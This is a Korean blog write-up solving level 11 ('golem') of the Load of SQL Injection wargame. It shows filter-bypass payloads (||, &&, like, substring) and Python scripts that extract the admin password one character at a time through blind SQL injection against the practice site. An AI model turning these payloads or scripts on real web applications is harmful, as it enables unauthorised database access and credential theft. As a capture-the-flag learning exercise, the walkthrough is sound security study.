[Load of SQL Injection] LOS - golem(11단계)
WriteUP
11단계 = golem
소스코드
소스코드를 보면
OR, AND 연산자, substr() 함수, (, = ,_,.,)등이 필터링되어있는 걸 확인할 수 있다.
테이블에 존재하는 ID를 입력하면 Hello (존재하는 ID) 를 출력하는 걸 알 수 있으며,
사용자의 입력값을 비교하고있다.
또한 admin 계정의 패스워드를 알아야 하기에
Blind SQL Injection을 시도해볼 수 있다.
우선 or, and 연산자는 ||, &&(url에서는 %26%26)으로 우회가 가능하고 substr() 함수의 경우에는
해당 문제에서 사용하는 DB가 My SQL이기에 substring() 함수가 사용가능하다.
substr() = substring()와 같은 기능을 수행한다.
=(등호) 의경우 like를 사용하면 될 거 같다.
우선 참값을 입력하면 정상적으로 출력되는지 확인해 보자
정상적으로 출력된다.
그럼 우선 password의 길이부터 구해보자.
편의를 위해 파이썬 코드를 작성해 보자.
import requests
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
cookie = {'PHPSESSID':'682tolg2hp60v4i02glkpnni7s'}
def admin_pw():
length=1
while 1:
query=url+"?pw=' || id like 'admin' %26%26 length(pw) like {} %23".format(length)
res = requests.get(query, cookies=cookie)
if 'Hello admin' in res.text:
print('admin password='+str(length))
break
else:
print('wait...'+str(length))
length+=1
admin_pw()
password의 길이는 구했으니 해당 문자를 하나씩 구해서 password를 알아보자.
import requests
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
cookie = {'PHPSESSID':'682tolg2hp60v4i02glkpnni7s'}
def admin_pw():
length=1
while 1:
query=url+"?pw=' || id like 'admin' %26%26 length(pw) like {} %23".format(length)
res = requests.get(query, cookies=cookie)
if 'Hello admin' in res.text:
print('admin password length='+str(length))
admin_pwstr(int(length))
break
else:
print('wait...'+str(length))
length+=1
def admin_pwstr(length):
string=''
for i in range(1, length+1):
for j in range(47, 123):
query=url+"?pw=' || id like 'admin' %26%26 ascii(substring(pw,{},1)) like {}%23".format(i,j)
res = requests.get(query, cookies=cookie)
if 'Hello admin' in res.text:
string+=chr(j)
print('admin password = '+string)
print('final password='+string)
admin_pw()
위와 같이 작성 후 해당 코드를 실행시키면 admin 계정의 password를 획득할 수 있다.
※ 내용이 이상하거나 문제가 있을 경우, 또는 설명에 부족한 내용이 있으시면 알려 주시면 감사합니다.
'WriteUP' 카테고리의 다른 글
[Load of SQL Injection] LOS - xavis(19단계) (0) | 2023.01.07 |
---|---|
[Load of SQL Injection] LOS - DARKKNIGHT(12단계) (0) | 2022.12.25 |
[HackCTF] - RTC (1) | 2021.11.25 |
[HackCTF] pwning (0) | 2021.09.26 |
[pwnkr] - shellshock (0) | 2021.09.04 |